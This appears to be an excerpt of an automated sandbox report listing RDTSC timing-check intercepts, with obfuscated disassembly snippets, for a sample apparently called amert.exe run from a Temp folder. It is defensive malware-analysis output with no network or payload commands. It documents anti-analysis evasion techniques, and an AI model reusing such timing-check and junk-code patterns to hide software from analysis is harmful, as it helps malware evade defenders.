Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB07A9 second address: 4FB07AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB07AD second address: 4FB07F5 instructions: 0x00000000 rdtsc 0x00000002 mov ah, 4Ch 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F0D755569DFh 0x0000000b mov si, AD5Fh 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F0D755569E0h 0x00000019 adc ecx, 0DF9DDC8h 0x0000001f jmp 00007F0D755569DBh 0x00000024 popfd 0x00000025 pushad 0x00000026 mov ecx, 3E933555h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB07F5 second address: 4FB080B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 pushad 0x00000008 mov cl, 37h 0x0000000a movsx edi, cx 0x0000000d popad 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB080B second address: 4FB080F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB080F second address: 4FB0813 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0813 second address: 4FB0819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB06F7 second address: 4FB0757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F0D75558563h 0x00000009 mov edi, eax 0x0000000b pop ecx 0x0000000c popad 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov esi, edx 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 movsx ebx, cx 0x0000001c pushad 0x0000001d mov ecx, 1FA6E7A9h 0x00000022 pushfd 0x00000023 jmp 00007F0D75558566h 0x00000028 xor ax, BF78h 0x0000002d jmp 00007F0D7555855Bh 0x00000032 popfd 0x00000033 popad 0x00000034 popad 0x00000035 pop ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0757 second address: 4FB075F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, di 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0503 second address: 4FB0509 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0509 second address: 4FB050D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB050D second address: 4FB053E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D75558563h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0D75558565h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FC01F1 second address: 4FC01F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FC01F7 second address: 4FC01FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FC01FD second address: 4FC025F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F0D755569E0h 0x00000011 push eax 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F0D755569E1h 0x00000019 and eax, 63D39056h 0x0000001f jmp 00007F0D755569E1h 0x00000024 popfd 0x00000025 push eax 0x00000026 push edx 0x00000027 mov ecx, 6AB4CB1Dh 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF0F14 second address: 4FF0F73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D75558561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c jmp 00007F0D75558563h 0x00000011 pop eax 0x00000012 jmp 00007F0D75558569h 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007F0D75558561h 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF0F73 second address: 4FF0F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF0F77 second address: 4FF0F7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF0F7B second address: 4FF0F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF0F81 second address: 4FF0F87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF0F87 second address: 4FF0F8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FD0302 second address: 4FD0357 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 call 00007F0D7555855Bh 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f pushad 0x00000010 mov ax, 2611h 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ebx 0x00000017 popad 0x00000018 popad 0x00000019 mov dword ptr [esp], ebp 0x0000001c pushad 0x0000001d mov ch, 22h 0x0000001f mov dx, C180h 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 jmp 00007F0D7555855Fh 0x0000002b mov eax, dword ptr [ebp+08h] 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F0D75558565h 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FD0357 second address: 4FD03CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0D755569DAh 0x00000009 sub ax, 0228h 0x0000000e jmp 00007F0D755569DBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 and dword ptr [eax], 00000000h 0x0000001a jmp 00007F0D755569E6h 0x0000001f and dword ptr [eax+04h], 00000000h 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F0D755569DAh 0x0000002a or ah, FFFFFFB8h 0x0000002d jmp 00007F0D755569DBh 0x00000032 popfd 0x00000033 popad 0x00000034 pop ebp 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F0D755569E5h 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0626 second address: 4FB062A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB062A second address: 4FB0630 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0630 second address: 4FB0636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0636 second address: 4FB0652 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0D755569DFh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0652 second address: 4FB0656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0656 second address: 4FB065C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB065C second address: 4FB066B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D7555855Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF0768 second address: 4FF076E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF076E second address: 4FF07A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D75558567h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0D75558564h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF07A2 second address: 4FF07A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF07A7 second address: 4FF083E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, E8C2h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F0D7555855Fh 0x00000013 and eax, 2F0F17BEh 0x00000019 jmp 00007F0D75558569h 0x0000001e popfd 0x0000001f mov ah, 21h 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F0D75558569h 0x0000002b add cx, B4A6h 0x00000030 jmp 00007F0D75558561h 0x00000035 popfd 0x00000036 push eax 0x00000037 push edx 0x00000038 pushfd 0x00000039 jmp 00007F0D7555855Eh 0x0000003e sub eax, 6EEEEA48h 0x00000044 jmp 00007F0D7555855Bh 0x00000049 popfd 0x0000004a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF083E second address: 4FF08AE instructions: 0x00000000 rdtsc 0x00000002 call 00007F0D755569E8h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F0D755569DEh 0x00000011 mov dword ptr [esp], ecx 0x00000014 jmp 00007F0D755569E0h 0x00000019 mov eax, dword ptr [76FB65FCh] 0x0000001e jmp 00007F0D755569E0h 0x00000023 test eax, eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F0D755569E7h 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF08AE second address: 4FF08FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 0253C60Ah 0x00000008 push edi 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d je 00007F0DE749B601h 0x00000013 pushad 0x00000014 mov ecx, edx 0x00000016 push ebx 0x00000017 movzx esi, di 0x0000001a pop edx 0x0000001b popad 0x0000001c mov ecx, eax 0x0000001e jmp 00007F0D7555855Ah 0x00000023 xor eax, dword ptr [ebp+08h] 0x00000026 jmp 00007F0D75558561h 0x0000002b and ecx, 1Fh 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F0D7555855Dh 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF08FC second address: 4FF0923 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, EBh 0x00000005 jmp 00007F0D755569E8h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d ror eax, cl 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF0923 second address: 4FF093C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F0D75558563h 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF093C second address: 4FF0942 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FF0942 second address: 4FF0946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA001D second address: 4FA00AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushfd 0x00000006 jmp 00007F0D755569E8h 0x0000000b and ah, 00000048h 0x0000000e jmp 00007F0D755569DBh 0x00000013 popfd 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 push edx 0x00000018 mov ax, A851h 0x0000001c pop eax 0x0000001d mov si, bx 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 call 00007F0D755569DFh 0x00000028 pop edx 0x00000029 pushfd 0x0000002a jmp 00007F0D755569E4h 0x0000002f adc esi, 4D1E1308h 0x00000035 jmp 00007F0D755569DBh 0x0000003a popfd 0x0000003b popad 0x0000003c mov ebp, esp 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F0D755569E5h 0x00000045 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA00AA second address: 4FA00CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D75558561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c pushad 0x0000000d mov edi, eax 0x0000000f mov edx, eax 0x00000011 popad 0x00000012 xchg eax, ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA00CF second address: 4FA00D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA00D3 second address: 4FA00EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D75558563h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA00EA second address: 4FA015F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F0D755569E7h 0x00000011 add cx, 4C1Eh 0x00000016 jmp 00007F0D755569E9h 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, ecx 0x0000001e jmp 00007F0D755569DDh 0x00000023 xchg eax, ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F0D755569DDh 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA015F second address: 4FA016F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D7555855Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA016F second address: 4FA01CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pushfd 0x0000000f jmp 00007F0D755569E2h 0x00000014 xor ax, 96D8h 0x00000019 jmp 00007F0D755569DBh 0x0000001e popfd 0x0000001f pop ecx 0x00000020 movsx edx, ax 0x00000023 popad 0x00000024 xchg eax, ebx 0x00000025 jmp 00007F0D755569E0h 0x0000002a mov ebx, dword ptr [ebp+10h] 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F0D755569DAh 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA01CE second address: 4FA01D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA01D4 second address: 4FA01E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D755569DDh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA01E5 second address: 4FA0237 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D75558561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d mov esi, 064700E3h 0x00000012 mov di, ax 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007F0D75558565h 0x0000001c xchg eax, esi 0x0000001d pushad 0x0000001e push edi 0x0000001f pushad 0x00000020 popad 0x00000021 pop esi 0x00000022 popad 0x00000023 mov esi, dword ptr [ebp+08h] 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F0D7555855Eh 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA0237 second address: 4FA0259 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b mov ebx, 3C2B8BF6h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov bx, B1FCh 0x00000019 mov bl, F1h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA0259 second address: 4FA0291 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 60961600h 0x00000008 pushfd 0x00000009 jmp 00007F0D75558569h 0x0000000e jmp 00007F0D7555855Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA0291 second address: 4FA0295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA0295 second address: 4FA02B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D75558567h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA02B0 second address: 4FA030E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0D755569DFh 0x00000009 xor cl, FFFFFFEEh 0x0000000c jmp 00007F0D755569E9h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F0D755569E0h 0x00000018 adc eax, 35775B68h 0x0000001e jmp 00007F0D755569DBh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 test esi, esi 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA030E second address: 4FA0312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA0312 second address: 4FA0318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA0318 second address: 4FA035F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D7555855Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F0DE74E6845h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F0D7555855Eh 0x00000016 adc si, 18F8h 0x0000001b jmp 00007F0D7555855Bh 0x00000020 popfd 0x00000021 mov si, 8E2Fh 0x00000025 popad 0x00000026 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA035F second address: 4FA0365 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA0365 second address: 4FA03E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 4ED4F03Bh 0x00000008 pushfd 0x00000009 jmp 00007F0D75558560h 0x0000000e sbb eax, 61A16288h 0x00000014 jmp 00007F0D7555855Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d je 00007F0DE74E67EEh 0x00000023 pushad 0x00000024 mov ebx, ecx 0x00000026 mov ecx, 4F362AF7h 0x0000002b popad 0x0000002c mov edx, dword ptr [esi+44h] 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F0D7555855Fh 0x00000038 sbb cx, 077Eh 0x0000003d jmp 00007F0D75558569h 0x00000042 popfd 0x00000043 jmp 00007F0D75558560h 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA03E8 second address: 4FA0414 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0D755569E1h 0x00000009 sbb ch, 00000066h 0x0000000c jmp 00007F0D755569E1h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA0414 second address: 4FA0433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 or edx, dword ptr [ebp+0Ch] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0D75558563h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA0433 second address: 4FA0465 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edx, 61000000h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0D755569DDh 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA0465 second address: 4FA046B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FA046B second address: 4FA04BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F0DE74E4BEBh 0x0000000e jmp 00007F0D755569DFh 0x00000013 test byte ptr [esi+48h], 00000001h 0x00000017 pushad 0x00000018 movzx esi, di 0x0000001b popad 0x0000001c jne 00007F0DE74E4BE6h 0x00000022 jmp 00007F0D755569DAh 0x00000027 test bl, 00000007h 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F0D755569E7h 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F908C1 second address: 4F908C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F908C7 second address: 4F908F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d movsx ebx, ax 0x00000010 pop ecx 0x00000011 mov dl, D2h 0x00000013 popad 0x00000014 and esp, FFFFFFF8h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F908F3 second address: 4F908F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F908F7 second address: 4F9090A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
